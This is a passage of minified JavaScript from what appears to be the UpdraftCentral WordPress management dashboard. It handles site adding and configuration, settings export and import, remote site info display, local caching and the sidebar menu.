class="updraftcentral_notice_dismiss"></button><div class="updraftcentral_notice_contents">'+e+"</div></div>");return $container.append(i),r?i.slideDown("medium").delay(3e4).slideUp("slow",function(){g(this).remove()}):i.slideDown("medium"),i},this.create_dashboard_listener=function(e,t,r,a,n){(a=void 0===a?{}:a).site_url=t.data("site_url"),a.site_id=t.data("site_id");var o=void 0===n?"<h2>"+t.data("site_description")+"</h2>":n;return this.add_dashboard_notice(o+r,"listener_"+e,!1,a)},g("#updraftcentral_notice_container").on("click",".updraftcentral_notice > .updraftcentral_notice_dismiss",function(){g(this).parents(".updraftcentral_notice").clearQueue().slideUp("slow",function(){this.remove()})}),this.get_dashboard_mode=function(){return g("#updraftcentral_dashboard").data("updraftcentral_mode")},this.check_processing_state=function(e){this.get_dashboard_mode();return!(!v.ajax_request_processing||!v.uc_action_data.length)&&(void 0!==e&&e.preventDefault(),UpdraftCentral_Library.dialog.alert("<h2>"+udclion.notice_heading+"</h2>"+udclion.currently_processing),console.log("Action(s) that blocks progress (follows):"),console.log(v.uc_action_data),!0)},this.set_dashboard_mode=function(e,t,r){if(!v.check_processing_state()){t=void 0!==t,r=void 0!==r,g("#updraftcentral_dashboard_existingsites").trigger("updraftcentral_dashboard_mode_pre_set",{force:t,new_mode:e,reset:r});var a=this.get_dashboard_mode();if(!0===e&&(e=a),t||e!=a){var n=g("#updraftcentral_dashboard_existingsites_container .updraftcentral_row_extracontents");g("#updraftcentral_dashboard_existingsites").trigger("updraftcentral_dashboard_mode_set_before",{new_mode:e,previous_mode:a,force:t,extra_contents:n}),a&&g("#updraftcentral_dashboard").removeClass("updraftcentral_mode_"+a),g("#updraftcentral_dashboard_existingsites_container .updraftcentral_row_extracontents").empty(),g("#updraftcentral_dashboard_existingsites .updraftcentral_site_row, #updraftcentral_dashboard_existingsites .updraftcentral_row_divider").show(),g("#updraftcentral_dashboard").data("updraftcentral_mode",e),g("#updraftcentral_dashboard").addClass("updraftcentral_mode_"+e),g("#updraft-menu-item-"+a).removeClass("updraft-menu-item-links-active"),g("#updraft-menu-item-"+e).addClass("updraft-menu-item-links-active"),g("#updraftcentral_dashboard .updraftcentral-hide-in-other-tabs:not(.updraftcentral-show-in-tab-"+e+"), #updraftcentral_dashboard .updraftcentral-hide-in-tab-"+e).hide(),g("#updraftcentral_dashboard .updraftcentral-show-in-tab-"+e+" .updraftcentral-hide-in-tab-initially").hide(),g("#updraftcentral_dashboard .updraftcentral-show-in-tab-"+e+", #updraftcentral_dashboard .updraftcentral-show-in-other-tabs:not(.updraftcentral-hide-in-tab-"+e+")").slideDown(1),g("#updraftcentral_dashboard_existingsites_container").off(),g("#updraftcentral_modal").off(),g("#updraftcentral_dashboard_existingsites").trigger("updraftcentral_dashboard_mode_set",{new_mode:e,previous_mode:a}),g("#updraftcentral_dashboard_existingsites").trigger("updraftcentral_dashboard_mode_set_"+e,{new_mode:e,previous_mode:a}),g("#updraftcentral_dashboard_existingsites").trigger("updraftcentral_dashboard_mode_set_after",{new_mode:e,previous_mode:a}),g("#updraftcentral_dashboard_existingsites").sortable("enable")}}},g(".updraftcentral_mode_actions .updraftcentral_action_choose_another_site").click(function(){void 0!==UpdraftCentral.$site_row&&UpdraftCentral.$site_row&&UpdraftCentral.$site_row.hasClass("sortable-is-disabled")&&UpdraftCentral.$site_row.removeClass("sortable-is-disabled"),UpdraftCentral.set_dashboard_mode(!0,!0,!0)}),g("#updraft-central-navigation-sidebar").off("click",".updraft-menu-item").on("click",".updraft-menu-item",function(e){e.stopPropagation();var t=g(this).attr("id");if(void 0!==t){if("updraft-menu-item-"!=t.substring(0,18))return console.log("UDCentral: menu item without the ID in the expected format"),void console.log(this);var r=t.substring(18);UpdraftCentral.set_dashboard_mode(r),Math.max(document.documentElement.clientWidth,window.innerWidth||0)<=a?(g("#updraft-central-navigation-sidebar").toggleClass("active"),g("#updraft-central-navigation-sidebar").hasClass("active")?g("#updraft-central-content").prepend('<div class="mobile-menu-backdrop"></div>'):g("#updraft-central-content > .mobile-menu-backdrop").remove()):g("#updraft-central-content > .mobile-menu-backdrop").remove()}}),g("#updraft-central-sidebar-button").click(function(){var i=!1,e=60<g("#updraft-central-navigation-sidebar").width()?"60px":"200px";g("#updraft-central-navigation-sidebar").animate({width:e},{step:function(e,t){var r=g("#"+t.elem.id).find("div.updraft-menu-item > span.menu-label"),a=g("#"+t.elem.id).find(".module-visibility"),n=g("#hidden-modules-container").find(".uc-hidden-modules-label"),o=g("#updraft-menu-item-all");e<120?(r.hide(),a.hide(),n.hide(),o.html('<span class="dashicons dashicons-visibility"></span>'),i=!0):(r.show(),a.show(),n.show(),o.html(udclion.show_all),i=!1,g("span.module-visibility > span.dashicons-hidden").show(),g("span.module-visibility > span.dashicons-visibility").show())},complete:function(){i?g('[data-toggle="tooltip"]').tooltip("enable"):g('[data-toggle="tooltip"]').tooltip("disable")}}),g(".updraft-central-sidebar-button-icon").toggle()}),g("#updraftcentral_dashboard .updraftcentral_action_box .updraftcentral_action_manage_sites").click(function(){UpdraftCentral.set_dashboard_mode("sites")}),g("#updraftcentral_dashboard_newsite").click(function(){var e=UpdraftCentral.get_advanced_site_options_html({http_username:"",http_password:""});UpdraftCentral.open_modal(udclion.add_site,UpdraftCentral.template_replace("sites-add-new-modal",{advanced_options:e}),function(){var e=g("#updraftcentral_addsite_key").val();if(UpdraftCentral.close_modal(),null!=e&&""!==e){var t=UpdraftCentral_Library.get_serialized_options("#updraftcentral_modal #updraftcentral_editsite_expertoptions .expert_option"),r=g("#updraftcentral_modal #updraftcentral_site_send_cors_headers").is(":checked")?1:0,a=g("#updraftcentral_modal #updraftcentral_site_connection_method").val();UpdraftCentral.send_ajax("newsite",{key:e,extra_site_info:t,send_cors_headers:r,connection_method:a},null,"via_mothership_encrypting","#updraftcentral_dashboard_existingsites",function(e,t,r){if("ok"==t&&(e.hasOwnProperty("message")&&(add_dashboard_notice(e.message,"info"),e.hasOwnProperty("sites_html")?UpdraftCentral.set_existing_sites_to(e.sites_html):(console.log("Expected sites_html data not found:"),console.log(e)),e.hasOwnProperty("status_info")&&_(e.status_info)),e.hasOwnProperty("key_needs_sending"))){var a=e.key_needs_sending.key_site_id,n=e.key_needs_sending.url,o=g('#updraftcentral_dashboard_existingsites .updraftcentral_site_row[data-site_id="'+a+'"'),i=e.key_needs_sending.remote_public_key;g(o).prepend('<div class="updraftcentral_spinner"></div>');var s=n+"&action=updraftcentral_receivepublickey&updraft_key_index="+encodeURIComponent(e.key_needs_sending.updraft_key_index)+"&public_key="+encodeURIComponent(UpdraftCentral_Library.base64_encode(i)),d=window.open(s,"_blank","toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=600,height=320");UpdraftCentral_Library.focus_window_or_error(d)}else;})}},udclion.add_site,function(){g("#updraftcentral_modal #updraftcentral_site_send_cors_headers").prop("checked",!0)},!1,"addsite_dialog",null,function(){g("#updraftcentral_addsite_key").focus()})}),g("body").on("change","#updraftcentral_import_file",function(){g(this).val().length&&g(".exportsettings_dialog button.updraft_modal_button_goahead").html(udclion.import_settings)}),g("#updraftcentral_dashboard_export_settings").click(function(){UpdraftCentral.open_modal(udclion.export_import_settings,UpdraftCentral.template_replace("sites-export-modal",{}),function(){var e=g("#updraftcentral_modal #updraftcentral_encryption_phrase").val(),t=g("#updraftcentral_modal #updraftcentral_import_file");void 0!==t&&t&&t.val().length?function(e,t,r){var a=g.Deferred();r=void 0!==r?r:30,void 0!==udclion.user_defined_timeout&&udclion.user_defined_timeout&&(r=udclion.user_defined_timeout);var n=new FormData;n.append("action","updraftcentral_dashboard_ajax"),n.append("subaction","import_settings"),n.append("component","dashboard"),n.append("nonce",udclion.updraftcentral_dashboard_nonce),n.append("site_id",0),void 0!==e&&e&&n.append("file",e),void 0!==t&&t&&n.append("data",JSON.stringify(t));var o=g(".exportsettings_dialog");o.prepend('<div class="updraftcentral_spinner"></div>');var i={type:"POST",url:udclion.ajaxurl,timeout:1e3*r,headers:{"X-Secondary-User-Agent":"UpdraftCentral-dashboard.js/"+udclion.udc_version},data:n,contentType:!1,processData:!1,dataType:"text",success:function(e){o.children(".updraftcentral_spinner").remove(),a.resolve(e)},error:function(e,t,r){o.children(".updraftcentral_spinner").remove(),a.reject(r)}};return jQuery.ajax(i),a.promise()}(t[0].files[0],{phrase:e}).then(function(e){var t=JSON.parse(e);t.data.hasOwnProperty("errors")&&t.data.errors.length?UpdraftCentral_Library.dialog.alert("<h2>"+udclion.import_response_heading+"</h2>"+t.data.errors[0]):UpdraftCentral_Library.dialog.alert("<h2>"+udclion.import_response_heading+"</h2>"+udclion.import_successful,function(){UpdraftCentral.close_modal(),location.reload()})}).fail(function(e){UpdraftCentral_Library.dialog.alert("<h2>"+udclion.import_response_heading+"</h2>"+e)}):UpdraftCentral.send_ajax("export_settings",{phrase:e},null,"via_mothership_encrypting","#updraftcentral_dashboard_existingsites",function(e,t,r){if("ok"==t&&e.hasOwnProperty("data")&&e.data.hasOwnProperty("json_data")){UpdraftCentral.close_modal();var a=document.body.appendChild(document.createElement("a"));a.setAttribute("download",e.data.file_name),a.setAttribute("style","display:none;"),a.setAttribute("href","data:text/json;charset=UTF-8,"+encodeURIComponent(e.data.json_data)),a.click()}},null,!1)},udclion.export_settings,null,!1,"exportsettings_dialog",null,null)}),g("#updraftcentral_dashboard_existingsites").on("updraftcentral_dashboard_mode_set_sites",function(e){register_modal_listener("#updraftcentral_addsite_expertoptions_show",function(e){g(this).slideUp(),g("#updraftcentral_modal #updraftcentral_editsite_expertoptions .initially-hidden").show(),e.preventDefault()})}),g("#updraftcentral_notice_container").on("click","a",function(e){o(g(this).attr("href"),e)}),g("#updraftcentral_dashboard_existingsites").on("updraftcentral_dashboard_mode_set",function(e,t){var r=g("#updraft-menu-item-"+t.new_mode).find(".menu-label").html(),a=g(".updraftcentral_mode_actions");0===a.find("h2.screen-title").length&&a.prepend('<h2 class="screen-title"></h2>'),a.find("h2.screen-title").html(r),register_modal_listener("a",function(e){o(g(this).attr("href"),e)}),g("#updraftcentral_dashboard_existingsites_container").on("click",".updraftcentral_site_row a",function(e){o(g(this).attr("href"),e)}),register_modal_listener("#updraft_debug_empty_browser_cache",function(e){for(var t=0,r=0<m,a=localStorage.length;0<=a;--a){var n=localStorage.key(a);null!==n&&"updraftcentral_"==n.substr(0,15)&&(r&&console.log("UpdraftCentral: Removing key from local storage: "+n),localStorage.removeItem(n),t++)}0<t?UpdraftCentral_Library.dialog.alert("<h2>"+udclion.empty+" "+udclion.browser_cache+"</h2>"+sprintf(udclion.cache_emptied,t)):UpdraftCentral_Library.dialog.alert("<h2>"+udclion.empty+" "+udclion.browser_cache+"</h2>"+udclion.cache_no_contents)}),register_modal_listener("#updraft_debug_show_browser_cache",function(e){for(var t=0,r=0,a=localStorage.length;r<a;++r){var n=localStorage.key(r),o=localStorage.getItem(n);"updraftcentral_"==n.substr(0,15)&&(t++,console.log(n+": "+o))}0<t?UpdraftCentral_Library.dialog.alert("<h2>"+udclion.log_contents+"</h2>"+udclion.cache_contents_logged):UpdraftCentral_Library.dialog.alert("<h2>"+udclion.log_contents+"</h2>"+udclion.cache_no_contents)}),t&&t.hasOwnProperty("new_mode")&&"notices"==t.new_mode||(register_modal_listener(".updraftcentral_site_editdescription",function(e){e.preventDefault(),open_site_configuration(UpdraftCentral.$site_row)}),register_modal_listener(".updraftcentral_test_other_connection_methods",function(e){e.preventDefault(),UpdraftCentral_Library.open_connection_test(UpdraftCentral.$site_row)}),register_modal_listener("a.connection-test-switch",function(e){e.preventDefault();var t=g(this).data("connection_method");UpdraftCentral.close_modal();var r=g(this).data("site_id");UpdraftCentral.send_ajax("edit_site_connection_method",{site_id:r,connection_method:t},null,"via_mothership_encrypting","#updraftcentral_dashboard_existingsites",function(e,t,r){"ok"==t&&(e.hasOwnProperty("message")&&add_dashboard_notice(e.message),e.hasOwnProperty("sites_html")?(UpdraftCentral.set_existing_sites_to(e.sites_html),c()):(console.log(e),add_dashboard_notice(udclion.unknown_response,"error")),e.hasOwnProperty("status_info")&&_(e.status_info))})}),register_modal_listener(".updraftcentral_siteinfo_results .phpinfo",function(e){e.preventDefault(),UpdraftCentral.send_site_rpc("core.phpinfo",null,UpdraftCentral.$site_row,function(e,t,r){if("ok"==t&&e.data){var a="";g.each(e.data,function(e,t){a+="<h3>"+e+"</h3>\n<table>\n",g.each(t,function(e,t){t.constructor===Array?a+="<tr><td>"+e+"</td><td>"+t[0]+"</td><td>"+t[1]+"</td></tr>\n":"string"==typeof t?g.isNumeric(e)?a+="<tr><td></td><td>"+t+"</td></tr>\n":a+="<tr><td>"+e+"</td><td>"+t+"</td></tr>\n":(console.log("UpdraftCentral: phpinfo: Unrecognised output for key "+e+" (follows)"),console.log(t))}),a+="</table>\n"}),UpdraftCentral.open_modal(udclion.phpinfo,'<div id="updraftcentral_phpinfo_results">'+a+"</div>",null,!1,null,!0,"modal-lg")}},g(this))}),register_modal_listener("#updraftcentral_site_connection_method",function(){var e=g("#updraftcentral_site_connection_method").val();null!=e&&("direct_"==e.substring(0,7)&&"https:"==document.location.protocol?g("#updraftcentral_site_connection_method_message").show().html(udclion.http_must_go_via_mothership):g("#updraftcentral_site_connection_method_message").hide())},"change"),n(".updraftcentral_site_adddescription",function(e){open_site_configuration(e)}),n(".updraftcentral_site_delete",function(r){UpdraftCentral_Library.dialog.confirm("<h2>"+udclion.remove_site+"</h2><p>"+UpdraftCentral_Library.escape_attrib(r.data("site_url"))+"</p><p>"+udclion.really_delete_site+"</p>",function(e){if(e){var t=UpdraftCentral.$site_row.data("site_id");t&&(r.slideUp("slow"),UpdraftCentral.send_ajax("delete_site",{site_id:t},null,"via_mothership_encrypting","#updraftcentral_dashboard_existingsites",function(e,t,r){"ok"==t&&(e.hasOwnProperty("message")&&add_dashboard_notice(e.message),e.hasOwnProperty("sites_html")?UpdraftCentral.set_existing_sites_to(e.sites_html):(console.log(e),add_dashboard_notice(udclion.unknown_response,"error")),e.hasOwnProperty("status_info")&&_(e.status_info))}))}})}),n(".row_siteinfo",function(e){UpdraftCentral.send_site_rpc("core.site_info",null,e,function(e,t,r){if(1<m&&(console.log("send_site_rpc(site_info): parsed response follows"),console.log(e)),"ok"==t&&!1!==e){var a=e.data.versions,n=e.data.bloginfo,o=UpdraftCentral_Library.sanitize_html(n.url),i=(UpdraftCentral_Library.sanitize_html(n.name),a.ud);"none"==i&&(i=udclion.updraftplus.version_none);var s=sprintf(udclion.what_remote_running,a.wp,a.php,a.mysql,i,a.udrpc_php);UpdraftCentral.open_modal(UpdraftCentral_Library.sanitize_html(n.name),UpdraftCentral.template_replace("dashboard-siteinfo",{url:o,message:s,phpinfo:udclion.phpinfo}),null,!1)}})}),n(".updraftcentral_site_dashboard",function(e){UpdraftCentral_Library.open_browser_at(e)}))}),this.get_advanced_site_options_html=function(e){return UpdraftCentral.template_replace("sites-advanced-site-options",e)},this.open_site_configuration=function(o){var e=o.data("site_url"),t=o.data("http_username");void 0===t&&(t="");var r=o.data("http_password");void 0===r&&(r="");var a=o.data("connection_method");void 0===a&&(a="direct_default_auth");var n=o.data("http_authentication_method");void 0===n&&(n="basic");var i=o.data("site_description");i==e&&(i="");var s=o.data("send_cors_headers");void 0!==s&&!s||(s=1);var d=UpdraftCentral.get_advanced_site_options_html({http_username:t,http_password:r});UpdraftCentral.open_modal(udclion.edit_site_configuration,UpdraftCentral.template_replace("sites-edit-configuration",{site_url:UpdraftCentral_Library.escape_attrib(e),advanced_options:d},{existing_description:i}),function(){var e=g("#updraftcentral-edit-site-description").val(),t=g("#updraftcentral_modal #updraftcentral_site_send_cors_headers").is(":checked")?1:0,r=g("#updraftcentral_modal #updraftcentral_site_connection_method").val(),a=o.data("site_id");if(a){UpdraftCentral.close_modal();var n=UpdraftCentral_Library.get_serialized_options("#updraftcentral_modal .expert_option");UpdraftCentral.send_ajax("edit_site_configuration",{site_id:a,description:e,extra_site_info:n,send_cors_headers:t,connection_method:r},null,"via_mothership_encrypting","#updraftcentral_dashboard_existingsites",function(e,t,r){"ok"==t&&(e.hasOwnProperty("message")&&add_dashboard_notice(e.message),e.hasOwnProperty("sites_html")?(UpdraftCentral.set_existing_sites_to(e.sites_html),c()):(console.log(e),add_dashboard_notice(udclion.unknown_response,"error")),e.hasOwnProperty("status_info")&&_(e.status_info))})}},udclion.edit,function(){g("#updraftcentral_modal #updraftcentral_site_connection_method").val(a).change(),s&&g("#updraftcentral_modal #updraftcentral_site_send_cors_headers").prop("checked",!0),g("#updraftcentral_modal #updraftcentral_addsite_http_authentication_method").val(n)},!1)},this.debugging_send_command=function(e,t,r,a){var n=g("#updraftcentral_dashboard_existingsites").find('.updraftcentral_site_row[data-site_url="'+r+'"]').first();n.length<1?console.log("debugging_send_command: no corresponding row found for the specified URL"):(a=void 0!==a?a:30,UpdraftCentral.send_site_rpc(e,t,n,function(e,t,r){},null,a))};function d(e){return!(null!==e&&"string"!=typeof e&&"boolean"!=typeof e&&"number"!=typeof e&&void 0!==e&&!jQuery.isPlainObject(e)&&!Array.isArray(e))}this.is_serializable=function(e,t,r){void 0===r&&(r="data");var a=r;if(!d(e))return void 0!==t&&t?{status:!1,data:e,error_path:r,error_field:t,error_type:typeof e[t],error_value:e[t]}:{status:!1};for(var t in e){if(r+=r&&r.length?" -> "+t:t,!d(e[t]))return{status:!1,data:e,error_path:r,error_field:t,error_type:typeof e[t],error_value:e[t]};if("object"==typeof e[t]){var n=UpdraftCentral.is_serializable(e[t],t,r);if(n.hasOwnProperty("status")&&!n.status)return{status:!1,data:n.data,error_path:n.error_path,error_field:n.error_field,error_type:typeof n.data[n.error_field],error_value:n.data[n.error_field]};r=a}}return!0},this.send_site_rpc=function(e,t,r,a,n,o,i){var s=UpdraftCentral.is_serializable(t);if(null!==t&&s.hasOwnProperty("status")&&!s.status)return console.log("UpdraftCentral: send_site_rpc("+e+") - the submitted data parameter contains unserializable types (follows)"),s.hasOwnProperty("error_field")&&s.error_field?(console.log("Error path: "+s.error_path),console.log("Error field: "+s.error_field),console.log("Error type: "+s.error_type),console.log("Error value follows:"),console.log(s.error_value)):console.log(t),void a.call(this,{error:udclion.js_exception_occurred},"error",null);o=void 0!==o?o:30,r.data("site_id")||(console.log("UpdraftCentral: sent_site_rpc("+e+") command sent, but site ID could not be identified from the row (follows)"),console.log(r)),i=void 0===i?r.data("connection_method"):i,null==n&&(n=r);try{return UpdraftCentral.send_ajax(e,t,r,i,n,a,o)}catch(e){n&&g(n).children(".updraftcentral_spinner").remove();var d=a.call(this,{error:e.toString()},"error",null);if(void 0===d||!d){var l=void 0!==r&&r.length?r.data("site_description")+" - ":"";UpdraftCentral_Library.dialog.alert("<h2>"+l+udclion.error+"</h2>"+udclion.js_exception_occurred+"<br>"+e.toString()),console.log(e)}}},g("#updraftcentral_dashboard .updraft-central-logo img").dblclick(function(){UpdraftCentral_Library.toggle_fullscreen()}),g("#updraft-central-navigation .updraft-full-screen").on("click",function(){UpdraftCentral_Library.toggle_fullscreen()}),g("#updraft-central-navigation .updraftcentral-help").on("click",function(){UpdraftCentral_Library.dialog.alert(UpdraftCentral.template_replace("dashboard-help",{uc_version:udclion.updraftcentral_version+": "+udclion.udc_version,running_on:UpdraftCentral.version_info_as_text()}))}),this.version_info_as_text=function(){return"WP/"+udclion.wp_version+" PHP/"+udclion.php_version+" MySQL/"+udclion.mysql_version+" Curl/"+udclion.curl_version},g("#updraft-central-navigation .updraftcentral-settings").on("click",function(){v.check_processing_state()||UpdraftCentral.open_modal(udclion.settings,UpdraftCentral.template_replace("dashboard-settings",{uc_version:udclion.updraftcentral_version+": "+udclion.udc_version,running_on:UpdraftCentral.version_info_as_text(),timeout:udclion.user_defined_timeout,shortcut_status:udclion.shortcut_status}),function(){var e=g("#updraftcentral_settings_timeout").val();e.length&&g.isNumeric(e)&&!(e<30)||(e=30),$location=g("#updraftcentral_modal > .uc-settings-container");var r={timeout:e,shortcut_status:g('input[name="uc-shortcuts-activate"]').is(":checked")?"active":"inactive"};UpdraftCentral.save_settings(r,$location).then(function(e){udclion.user_defined_timeout=r.timeout,udclion.shortcut_status=r.shortcut_status;var t=g("#updraftcentral_debug_level").val();0<=t&&t<=3&&UpdraftCentral.set_debug_level(t),UpdraftCentral.close_modal()})},udclion.save_settings,function(){g("#updraftcentral_debug_level").val(m)})}),g(".updraftcentral_row_extracontents").on("click",".dashicons-image-rotate",function(){g(".dashicons-image-rotate").addClass("dashicon-image-rotating")}),this.template_replace=function(e,r,t){return r=void 0===r?{}:r,UpdraftCentral_Handlebars.hasOwnProperty(e)||(console.log("UDCentral: UpdraftCentral_Handlebars template not found: "+e),console.log(UpdraftCentral_Handlebars)),void 0!==t&&g.each(t,function(e,t){r[e]=UpdraftCentral_Library.quote_attribute(t)}),r.udclion=udclion,"object"==typeof UpdraftCentral_Handlebars[e]?UpdraftCentral_Handlebars[e].handlebars(r):UpdraftCentral_Handlebars[e](r)},UpdraftCentral_Handlebars="undefined"==typeof UpdraftCentral_Handlebars?{}:UpdraftCentral_Handlebars,Handlebars.registerHelper("uc_each",function(e,t){var r="";if(void 0===e)return r;for(var a=0,n=e.length;a<n;a++){var o=e[a];o.hasOwnProperty("as_json")||(o.as_json=JSON.stringify(o)),o.hasOwnProperty("udclion")||(o.udclion=udclion),r+=t.fn(o)}return r}),udclion.hasOwnProperty("handlebars")&&udclion.handlebars.hasOwnProperty("compile")&&g.each(udclion.handlebars.compile,function(e,t){console.log("UpdraftCentral: in developer mode: compile template: "+e),UpdraftCentral_Handlebars[e]=Handlebars.compile(t)}),c();var t=setInterval(function(){"undefined"!==v.uc_module&&(clearInterval(t),set_dashboard_mode("sites"),!1!==v.uc_module&&g("#updraftcentral_dashboard_existingsites").trigger("updraftcentral_sites_loaded",{module:v.uc_module}))},100);"undefined"==typeof Modernizr||Modernizr.lastchild?(g("#updraftcentral_dashboard_loading").fadeOut(),g("#updraftcentral_dashboard_existingsites_container").fadeIn(),udclion.hasOwnProperty("show_licence_counts")&&udclion.show_licence_counts&&g(".updraftcentral_licence_info").show(),setInterval(function(){UpdraftCentral.send_ajax("sites_html",null,null,"via_mothership_encrypting","#updraftcentral_dashboard_existingsites",function(e,t,r){"ok"==t&&(e.hasOwnProperty("sites_html")?UpdraftCentral.set_existing_sites_to(e.sites_html):(console.log("Expected sites_html data not found:"),console.log(e)),e.hasOwnProperty("status_info")&&_(e.status_info))})},864e5)):(console.log("UDCentral: Unsupported web browser"),g("#updraftcentral_dashboard_loading").fadeOut(),g("#updraftcentral_updraftplus_actions, #updraftcentral_sites_actions, #updraftcentral_dashboard_existingsites_container").remove(),this.add_dashboard_notice(udclion.unsupported_browser,"error",!1)),g("#updraftcentral_notice_container .updraftcentral_notice.remove_after_load").delay(3e4).slideUp("slow",function(){g(this).remove()}),g("#updraftcentral_modal_dialog").appendTo(document.body),this.storage_set=function(t,r,e){if(void 0!==e&&e){var a=Math.floor(Date.now()/1e3);localStorage.setItem("updraftcentral_saved_at_"+t,a)}1<m&&console.log("UpdraftCentral.storage_set(key="+t+")");try{localStorage.setItem("updraftcentral_"+t,JSON.stringify(r))}catch(e){console.log(e);var n=this.storage_purge();0<n&&(1<m&&console.log("UpdraftCentral.storage_set(key="+t+") failed; but purged "+n+" items, so trying again"),localStorage.setItem("updraftcentral_"+t,JSON.stringify(r)))}},this.storage_get=function(e,t){if(void 0!==t&&0<t){var r=localStorage.getItem("updraftcentral_saved_at_"+e);if(!r)return null;var a=Math.floor(Date.now()/1e3),n=a-r;if(1<UpdraftCentral.updraftcentral_debug_level&&console.log("UpdraftCentral.storage_get(key="+e+", maximum_age="+t+"): stored_at="+r+", epoch_time="+a+", stored_ago="+n),t<n)return null}var o=localStorage.getItem("updraftcentral_"+e);if(void 0===o)return null;try{return JSON.parse(o)}catch(e){}return null},this.storage_purge=function(){var e=0;for(i=localStorage.length-1;0<=i;i--){var t=localStorage.key(i);if(null!==t){var r=(new Date).getTime()/1e3;if("updraftcentral_saved_at_wporg_api_"==t.substring(0,34)){var a=r-localStorage.getItem(t);600<a&&(0<m&&console.log("UpdraftCentral::storage_purge(): purging key: "+t.substring(24)+" (age: "+a+" s)"),this.storage_remove(t.substring(24)),e++)}}}return e},this.storage_remove=function(e){localStorage.removeItem("updraftcentral_saved_at_"+e),localStorage.removeItem("updraftcentral_"+e)},this.init_recorder=function(){(new UpdraftCentral_Recorder).load()},this.init_keyboard_shortcuts=function(){(new UpdraftCentral_Keyboard_Shortcuts).init()};var u=g("#visible-modules-container .updraft-menu-item-container"),p=g("#hidden-modules-container"),r=g(".module-visibility"),f=[],C=[],U="",x=g('<div class="updraft-menu-item-container"><div id="updraft-menu-item-all" class="updraft-menu-item">'+udclion.show_all+"</div></div>"),k=g("#hidden-modules-menu");k.hide();var j=g(".uc-hidden-modules-menu"),O=g(".uc-hidden-modules-close");function P(){0<g(this).find(".dashicons-visibility").length?(U=(U=g(this).children(".updraft-menu-item").prop("id")).replace("updraft-menu-item-",""),C.push(U),g(this).hide()):(U=(U=g(this).children(".updraft-menu-item").prop("id")).replace("updraft-menu-item-",""),f.push(U))}return O.hide(),u.each(P),0===C.length?p.hide():1<C.length&&x.appendTo(p.next()),p.find(".uc-hidden-modules-label").text(udclion.hidden_modules+"("+C.length+")"),r.hover(function(){g(this).parent().find(".updraft-menu-item-links").addClass("updraft-menu-item-hover")},function(){g(this).parent().find(".updraft-menu-item-links").removeClass("updraft-menu-item-hover")}),g("#updraft-central-navigation-sidebar").on("click",r,function(e){if(g(e.target).parent().hasClass("module-visibility")){var a=g(e.target).parent();U=(U=a.prev().attr("id")).replace("updraft-menu-item-","");var n=!1;0<a.find(".dashicons-visibility").length?(C=g.grep(C,function(e){return e!=U}),f.push(U),n=!0):(a.html('<span class="dashicons dashicons-visibility"></span>'),f=g.grep(f,function(e){return e!=U}),C.push(U)),UpdraftCentral.send_ajax("module_visibility",{module_id:U,visibility:n},null,"via_mothership_encrypting",null,function(e,t,r){"ok"===t&&(!1===n?(a.parent().clone().appendTo(k),a.prev().removeClass("updraft-menu-item-hover").parent().slideUp(),k.find(".updraft-menu-item-links").removeClass("updraft-menu-item-hover").removeClass("updraft-menu-item-links-active"),0<k.find(".updraft-menu-item-container").length&&(p.slideDown(),1<k.find(".updraft-menu-item-container").length&&x.appendTo(p.next()))):(a.parent().remove(),g(".updraft-menu-item-container").find(".updraft-menu-item-"+U).next().html('<span class="dashicons dashicons-hidden"></span>').parent().slideDown(),0===k.find(".updraft-menu-item-container").length?p.slideUp():k.find(".updraft-menu-item-container").length<2&&x.remove()),p.find(".uc-hidden-modules-label").text(udclion.hidden_modules+"("+C.length+")"))})}}),g("#updraft-central-navigation-sidebar").on("click","#updraft-menu-item-all",function(){UpdraftCentral.send_ajax("reset_modules_visibility","all",null,"via_mothership_encrypting",null,function(e,t,r){"ok"===t&&(u.each(P),u.each(function(){g(this).find(".updraft-menu-item").removeClass("updraft-menu-item-hover"),g(this).slideDown(),g(".module-visibility",this).html('<span class="dashicons dashicons-hidden"></span>')}),p.slideUp("normal",function(){O.hide(),j.show(),k.hide(),k.find(".updraft-menu-item-container").remove()}),C.length=0)})}),j.click(function(){k.slideToggle("normal",function(){O.show(),j.hide()})}),O.click(function(){k.slideToggle("normal",function(){O.hide(),j.show()})}),this};